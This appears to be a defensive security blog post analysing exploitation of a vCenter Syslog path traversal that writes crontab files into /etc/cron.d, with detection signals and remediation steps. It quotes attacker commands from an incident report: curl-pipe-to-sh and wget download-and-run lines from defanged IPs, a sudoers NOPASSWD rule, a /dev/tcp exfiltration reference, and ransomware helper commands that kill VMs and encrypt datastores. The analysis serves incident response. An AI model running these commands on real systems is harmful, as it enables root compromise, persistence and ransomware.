click the screen · press Enter
← back to blog
Threats & Exploits · Topic 5

vCenter Wrote a Log Line Into /etc/cron.d, and Cron Ran It as Root

CVE-2026-59310 VMware vCenter Syslog server path traversal used for unauthenticated root code execution - Threats and Exploits

Here's the habit I want to argue with. Somebody reports a path traversal that only lets you write a file, and it gets triaged as a medium. Not a read of /etc/shadow, not a shell, just a file landing somewhere it shouldn't. Queue it, patch it next sprint. I've watched that call get made and I've probably made it myself. CVE-2026-59310 is the reason it's wrong: on a Linux box, a file write is only as harmless as the directory it lands in, and there is a short list of directories where the file's contents are instructions. Land in one of those and your medium is unauthenticated root.

If you run vCenter, and the management interface sits on a network that more than a handful of people can reach, this one is aimed squarely at you. That is an extremely ordinary setup, and by early August it was being hit at scale.

CVE-2026-59310 explained: the same vCenter Syslog path traversal triaged as a harmless file write versus triaged as root remote code execution, because /etc/cron.d parses and runs whatever is written into it
Same write, two triage calls. Only one of them is right.

What happened

On 29 July 2026 Broadcom published VMSA-2026-0006, covering a batch of VMware flaws. Two of them were critical and remotely reachable without a login: CVE-2026-59309, an authentication bypass in the VMware Directory Service, and CVE-2026-59310, a path traversal in the vCenter Syslog server. Both scored CVSS 3.1 9.8, vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. Broadcom said there was no workaround for either, so the only fix was the patch.

Five days later people were being compromised with it. The German DFIR firm QUIRSO picked the campaign up out of an incident response engagement and published two write-ups in August, tracking 361 victim IP addresses across 47 countries. That's 361 addresses, not 361 companies: QUIRSO are explicit that hosting providers, cloud networks and shared infrastructure sit behind some of them, and they were still counting when they published. CISA added CVE-2026-59310 to the Known Exploited Vulnerabilities catalogue on 18 August with a remediation deadline of 21 August, which is about as short a fuse as CISA hands out.

What makes this worth taking apart, rather than filing under "patch your vCenter", is the mechanism. Everything downstream of the first write is ordinary Linux housekeeping. That's the uncomfortable bit.

Five days from patch to first victim

The order matters if you're working out how big your own exposure window was.

Disclosure to KEV in three weeks
01
29 Jul

Broadcom publishes VMSA-2026-0006. CVE-2026-59309 and CVE-2026-59310, both 9.8, no workaround.

02
30 Jul

Rapid7's write-up: no known exploitation, no public proof of concept, patch urgently anyway.

03
3 Aug

Broadcom revises the advisory to .1, adding the 8.0 U2f express patch. Same day, the first victims call home.

04
5 Aug

343 of the 361 victim IPs QUIRSO had counted by publication. Roughly 95% of what they'd seen, inside three days.

05
18 Aug

CISA adds CVE-2026-59310 to KEV. Federal deadline: 21 August.

Dates from Broadcom's advisory, Rapid7's emergent threat response and QUIRSO's two reports.

Rapid7 called it right on 30 July and I want to give them credit for the wording. No exploitation, no public exploit code, and still: patch on an urgent basis, because vCenter has been on KEV ten times before for other bugs. Attackers know where the crown jewels live. Five days later they had a working exploit and nobody outside the campaign had a public one.

QUIRSO's own read is that the disclosure itself was the starting gun. Their words: while the attacker might have had prior knowledge, the correlation between disclosure and exploitation points to the advisory as the trigger. Five days is enough time for a capable team to diff a patch and build something reliable. That should be your planning assumption now, not a worst case.

The write that became execution

Broadcom's description of CVE-2026-59310 is two sentences: a directory traversal in the Syslog server, and a network-accessible attacker may exploit it to run code. It doesn't say which field, which daemon or which request. Nobody has published the internals, and I spent a good while trying to find them before accepting that they aren't out there yet. So this section is a reading of the evidence, not a reverse engineering, and I'll flag where I'm inferring.

That gap matters more than it sounds. With the Metabase SQL injection a few weeks back, researchers diffed the patched JAR and published the root cause within days, so everyone could reason about their own exposure. Here we've got a vendor sentence and someone else's incident logs. You're patching on trust.

A syslog collector's whole job is to take a message from somewhere else and write it to a file. To do that it has to decide on a filename, and the usual way is to build one out of fields in the message itself, most often the hostname. That's the part worth staring at. If the hostname field is attacker-controlled and nobody strips ../ from it, then the attacker is choosing the output path.

QUIRSO recovered log lines that preserve the shape of it. Not the first write, to be clear. These are later entries from 4 August, once the actor was already in and doing this repeatedly, and QUIRSO say plainly that they don't prove the initial access on their own. What they do show is the format.

/var/log/vmware/messages · excerpt
2026-08-04T03:07:21.328631+00:00 localhost sudo: pam_unix(sudo:session): session closed for user root 2026-01-01T00:00:00Z ../../../../etc/cron.d/zz-poc59310 poc[1] x * * * * * root curl -fsSL http://185.144.28[.]120:3232/esxi.sh | sh
From the logs QUIRSO published in their case study. Not captured from my own run, and I have no way to reproduce it. IPs defanged by me.

Read that middle line as a syslog message and it falls apart neatly. Timestamp first, then the hostname slot, then something that looks like an application name and process ID, then the message. Except the hostname slot isn't a hostname. It's ../../../../etc/cron.d/zz-poc59310, four levels of traversal and a target filename. And the message body isn't a message. It's a crontab line.

The timestamp is fake too, dated 1 January 2026 while every line around it is 4 August. My guess is that's the attacker pinning a field they control so the collector's own formatting doesn't mangle the payload, but that's a guess and I'd happily be corrected.

The traversal isn't the exploit. The traversal only chooses the address. The exploit is that the address is a directory where files are instructions.

That's the whole trick. /etc/cron.d is not a place you store data. It's a place cron reads every minute, parses as crontab syntax, and executes. Drop a file in there whose contents happen to be * * * * * root curl ... | sh and within sixty seconds root has fetched a script off the internet and run it. Nobody had to escalate anything. Nobody had to find a setuid binary. The syslog service did the write, and cron did the execution, and both of them were doing exactly what they were built to do.

The names give it away as well. zz-poc59310 and zz-poc59310-syslog.log both carry the CVE number, and that -syslog.log suffix mirrors how vCenter names its remote syslog output files. The attacker's tooling was clearly built around the syslog write path specifically.

Where I'm inferring QUIRSO say initial access was most likely CVE-2026-59310, on the basis that no authentication events line up with the timing, the files weren't there before, and the commands ran as root. They stop short of claiming they have the exploit. So do I. The mapping of "hostname field" to "output path" is my reading of the log line, not something Broadcom or anyone else has confirmed.

There was no privilege escalation step, because there was nothing to escalate

This is the detail that changes how I'd score the bug. Cron in /etc/cron.d runs jobs as whatever user the line names, and the line named root. So the very first command the actor ran on the appliance ran as root, non-interactively, without a session.

QUIRSO put it plainly: exploitation gave immediate, non-interactive code execution in a root context on the vCenter Server Appliance, so the actor never had to compromise an unprivileged account and climb. Every CROND entry afterwards is already root.

Here's the first one, from 05:47 on 3 August.

crond · 2026-08-03T05:47:01
(CRON) bad minute (/etc/cron.d/zz-poc59310-syslog.log) (root) NOT REGULAR (/etc/cron.d/zz-poc59310) CROND[2309077]: (root) CMD (( curl -fsSL -o /tmp/linuxFile http://5.34.177[.]38:9861/linuxFile || wget -q -O /tmp/linuxFile http://5.34.177[.]38:9861/linuxFile ) && chmod 777 /tmp/linuxFile && /tmp/linuxFile && rm -f /etc/cron.d/zz-poc59310-syslog.log)
From QUIRSO's published case study, not captured from my own run. IPs defanged by me.

Look at those first two lines, because they're a gift. bad minute and NOT REGULAR are cron complaining that it can't parse files someone put in its directory. Some of the writes landed malformed and cron rejected them. At least one parsed, and that one ran. Cron logged its own failed exploitation attempts, and if you're hunting, those parse errors are worth more than most commercial detections.

The command itself is deliberately boring. Try curl, fall back to wget, chmod 777, run it, delete the cron file that started it. That last rm is the actor tidying up after themselves on the first minute.

Persistence dressed up as VMware

The staged binary, linuxFile, called out to a WebSocket endpoint and got copied into a hidden directory under /root/.local/share/, kept alive by a systemd unit called sys-9436d8.service with Restart=always. Standard enough.

The layer above it is what I'd want people to look at. Three families of cron job, all named to look like they came with the product:

vmware-vpxd-stats-*

Enables and starts sshd, appends the actor's public key to root's authorized_keys, blocks password login for root, calls home.

vmware-perf-collect-*

Drops a JSP web shell at vmware-perf-update.jsp inside the perfcharts Tomcat app, and writes a sudoers rule.

vmware-perf-sync-*

Drops the same web shell, plus a base64 script that steals credentials and creates an SSO admin called adminuser.

Three fake VMware cron families, many instances each, all running every minute. Detail from QUIRSO's case study.

The sudoers line is the one that made me wince:

perfcharts ALL=(root) NOPASSWD: ALL
Defaults:perfcharts !requiretty

Quoted from QUIRSO's case study, not captured from my own run.

That's written to /etc/sudoers.d/vmware-perf, and it means the ordinary perfcharts service account can become root with no password and no terminal. If you've read the sudo write-up from the Kubernetes track, this is the textbook version of it: one line in a drop-in file and the whole authorisation model is gone. Pair it with a JSP web shell running as that account in /usr/lib/vmware-perfcharts/tc-instance/webapps/statsreport and you have a second, entirely separate way back to root that survives the original CVE being patched. That's the bit people miss when they patch and move on.

Blocking password login for root while adding your own SSH key is a nice touch as well. It looks like hardening if you glance at it, and it locks out anyone trying to get back in the normal way.

Stealing the machine password out of the likewise registry

vCenter keeps its directory service credentials in a Likewise registry on the appliance. A base64-encoded shell script, decoded and run by a root cron job then immediately deleted, went straight for them: /opt/likewise/bin/lwregshell against HKEY_THIS_MACHINE\services\vmdir, pulling dcAccountDN and dcAccountPassword. Those are the distinguished name and password of the vCenter machine account.

With that in hand you can bind to the local LDAP as the appliance itself and add users. Which is what happened: an account called adminuser created by one cron family, another called vcadmin created once by a Python script, both dropped into the vSphere SSO Administrators group, and a third added remotely through vmdir using a legitimate administrative account the actor had already taken over.

QUIRSO noted the script had a fallback: if the registry read failed, it looked for VMware's vmafd Python module and called GetMachineName(), GetMachinePassword() and GetDomainName() instead. Two independent ways to get the same secret suggests somebody tested this against more than one vCenter build before they used it in anger.

ESXi, and the part where the logs get encrypted

The last hop is the one everyone running virtualisation worries about. Local adminuser accounts on every ESXi host, created only minutes before the end. A ransomware binary named backup and a helper called run.sh, uploaded to a shared datastore through the vSphere datastore browser API, which shows up in vpxd logs as plain HTTP PUT requests to /folder/.

Then run.sh, on a ten-minute cron:

esxcli system settings advanced set -o /User/execInstalledOnly -i 0
chmod 777 /var/run/backup
# force-kill every VM except vCLS and vCenter itself
esxcli vm process kill -t force -w "$w"
/var/run/backup /vmfs/volumes/
esxcli software vib remove -n vmware-fdm

Condensed from the run.sh QUIRSO published: the loop that fills $w is trimmed and the comment line is mine. Not captured from my own run, and I have no ESXi host to test any of it against.

Read it top to bottom and it's a checklist. Turn off the setting that stops unsigned binaries executing. Kill every virtual machine so the disk files aren't locked, but skip vCenter and vCLS so the tooling keeps working. Encrypt the VMFS volumes. Then remove the Fault Domain Manager, which is the vSphere HA agent, so high availability can't help you recover.

The payload is Babuk-derived: files renamed with a .babyk extension, and large VMDK files only partially encrypted, just the first 512 MB, which is plenty to make a disk unbootable while running fast enough to finish before anyone notices. QUIRSO are careful here and so am I. The Babuk builder leaked in 2021 and half the ESXi ransomware in existence descends from it, so the family tells you almost nothing about who did this.

The anti-forensic side effect matters more than the ransom. Encrypting the datastore encrypted the ESXi logs along with everything else. The telemetry that would have explained what happened on the hypervisors is gone.

On attribution QUIRSO assess with moderate confidence that this is a Chinese-speaking actor operating around UTC+8, based on Chinese-language artefacts in the scripts, tooling choices, working hours, and the fact that no victims were found in mainland China. They explicitly do not tie it to a named group or to any state, and they track it as an uncategorised Chinese-nexus intrusion set. I'm repeating their assessment, not endorsing a stronger one.

What to grep for, hop by hop

The useful thing about this chain is that almost every step leaves a signal in a log that already exists on the appliance. You don't need new tooling, you need to know which line to look for.

Detection signals per hop
HopWhat to look forConfidence
The writeSyslog lines where the hostname field contains ../, or a timestamp wildly out of sequence with its neighboursHigh
Executioncrond logging bad minute or NOT REGULAR against anything in /etc/cron.dHigh
StagingRoot CROND CMD entries containing curl, wget, base64 -d or a pipe into shHigh
PersistenceCron files named vmware-vpxd-stats-*, vmware-perf-collect-*, vmware-perf-sync-*; any new unit in /etc/systemd/systemMedium
PrivilegeAny file in /etc/sudoers.d you did not put there, especially granting NOPASSWD: ALL to a service accountHigh
Credentialslwregshell execution, or reads of HKEY_THIS_MACHINE\services\vmdir, outside a support caseMedium
Accountsvmdir Add Entry into cn=Users with no matching login for the account that supposedly did itHigh
Web shellAny .jsp under /usr/lib/vmware-perfcharts/tc-instance/webapps/ that isn't shipped by VMwareMedium
Staging (impact)vpxd HTTP PUT to /folder/ uploading a non-VM file to a datastoreHigh
C2Outbound SSH from the appliance to anything that isn't yours. QUIRSO published a YARA rule for reverse_ssh buildsCorrelate
Flip "Failures only" for the ones I'd hunt first. Signals derived from QUIRSO's published logs.

One caveat on the last row. reverse_ssh is a legitimate open-source tool that penetration testers use, so finding it isn't proof of anything on its own. QUIRSO say the same. It becomes a high-priority lead when it turns up installed on a vCenter appliance nobody authorised it on, which is a sentence that ought to be easy to evaluate.

The reason outbound SSH is worth alerting on at all is that the tunnel is initiated from inside. Most people's controls are built to stop things coming in. A management appliance that dials out to a stranger walks straight past them.

The one control that would have broken this earliest

Patching is the answer, obviously, and Broadcom gave no workaround so there isn't a clever alternative. But the campaign specifically hit internet-accessible vCenter. So the control that would have bought the most time, for the least effort, is the dull one: vCenter's management interface should not be reachable from the internet, full stop.

Rapid7 made the honest version of this point on 30 July. Restricting management interfaces to a dedicated network cuts internet exposure, but it does nothing about an attacker who's already inside your network. It's the same lesson the NetScaler memory overread taught from the other direction: edge kit gets exploited first because it has to be reachable, and "reachable" is a decision you can still narrow. It buys you the patch window. It does not make you safe, and I'd rather people heard that than a "just segment it" line that lets them relax.

If I could only add one thing on top of the patch, it'd be egress filtering off the management network. Every single hop after the first one needed the appliance to reach the internet: pull linuxFile, pull esxi.sh, open the reverse SSH tunnel, exfiltrate the LDAP output to /dev/tcp/192.255.141[.]13/7788. A vCenter appliance that can't originate outbound connections to arbitrary hosts turns a full compromise into a broken cron job.

Patched versions

VMSA-2026-0006 · CVE-2026-59310
ProductBranchFixed version
Cloud Foundation / vSphere Foundation9.1.x.x9.1.0.0300
Cloud Foundation / vSphere Foundation9.0.x.x9.0.2.0100
VMware vCenter8.0 (U3 branch)8.0 U3k
VMware vCenter8.0 (U2 branch)8.0 U2f
VMware Cloud Foundation5.xasync patch to 8.0 U3k
Telco Cloud Platform / Infrastructure3.0, 4.x, 5.0.x, 5.1.xsee Broadcom KB449886
From VMSA-2026-0006 as tabulated by Rapid7, plus the 8.0 U2f express patch Broadcom added on 3 August in revision .1. The 9.x builds are vCenter versions shipped inside Cloud Foundation and vSphere Foundation. Read the response matrix rather than trusting this table.
If yours was exposed Patch, then assume the appliance is dirty until you've checked it. Diff /etc/cron.d and /etc/sudoers.d against a known-good build. Read root's authorized_keys. List every unit in /etc/systemd/system. Hunt for .jsp files under the perfcharts webapps directory. Pull every account in the vSphere SSO Administrators group and match each one to a human. Rotate the vmdir machine credential. Then look at your ESXi hosts for local accounts nobody remembers creating.

MITRE ATT&CK mapping

  • T1190 · Exploit Public-Facing Application · the syslog traversal itself
  • T1053.003 · Scheduled Task/Job: Cron · both the execution primitive and the main persistence layer
  • T1059.004 · Command and Scripting Interpreter: Unix Shell · everything ran through /bin/sh and bash
  • T1105 · Ingress Tool Transfer · curl and wget staging from several hosting services
  • T1543.002 · Create or Modify System Process: Systemd Service · sys-9436d8.service
  • T1098.004 · Account Manipulation: SSH Authorized Keys · the actor's key appended for root
  • T1505.003 · Server Software Component: Web Shell · the JSP in the perfcharts app
  • T1548.003 · Abuse Elevation Control Mechanism: Sudo and Sudo Caching · /etc/sudoers.d/vmware-perf
  • T1552 · Unsecured Credentials · the vmdir machine password out of the Likewise registry (no sub-technique maps cleanly, since that registry isn't the Windows one)
  • T1136 · Create Account · adminuser, vcadmin and the remotely created SSO account
  • T1036.005 · Masquerading: Match Legitimate Name or Location · the fake vmware-* cron jobs
  • T1572 · Protocol Tunneling · the outbound reverse_ssh channel
  • T1070.004 · Indicator Removal: File Deletion · scripts and cron files deleted straight after use
  • T1489 · Service Stop · esxcli vm process kill across every VM
  • T1490 · Inhibit System Recovery · removing the vmware-fdm HA agent
  • T1486 · Data Encrypted for Impact · the Babuk-derived payload on the VMFS volumes

References

FAQ

What is CVE-2026-59310?

A path traversal vulnerability in the VMware vCenter Syslog server, disclosed by Broadcom in VMSA-2026-0006 on 29 July 2026 and scored CVSS 3.1 9.8. An attacker with network access to vCenter, and no credentials, can use it to execute arbitrary code on the appliance. CISA added it to the KEV catalogue on 18 August 2026.

Is CVE-2026-59310 being exploited in the wild?

Yes. The German DFIR firm QUIRSO investigated a vCenter compromise and identified 361 victim IP addresses across 47 countries, with the first connections to attacker infrastructure on 3 August 2026, five days after Broadcom's advisory. CISA added the CVE to KEV on 18 August with a 21 August remediation deadline.

Which vCenter versions fix CVE-2026-59310?

Broadcom lists vCenter 9.1.0.0300 and 9.0.2.0100 (shipped inside Cloud Foundation and vSphere Foundation 9.1.x and 9.0.x), 8.0 U3k, and 8.0 U2f for the 8.0 Update 2 branch, which Broadcom added on 3 August when it revised the advisory to VMSA-2026-0006.1. Read the response matrix for your exact deployment rather than any blog table.

How does a path traversal in a syslog server become remote code execution?

The traversal lets an attacker choose where the log file is written. If that path is /etc/cron.d, the file is no longer a log, it is a crontab, and cron parses and runs its contents as root on the next minute. The write is the bug, the destination directory is the exploit.

My vCenter was internet facing. Is patching enough?

No. In the case QUIRSO documented, the actor added SSH keys for root, dropped a JSP web shell into the perfcharts application, wrote a sudoers rule, created vSphere SSO administrator accounts and stole the vmdir machine password. Patching closes the door. It does not undo any of that.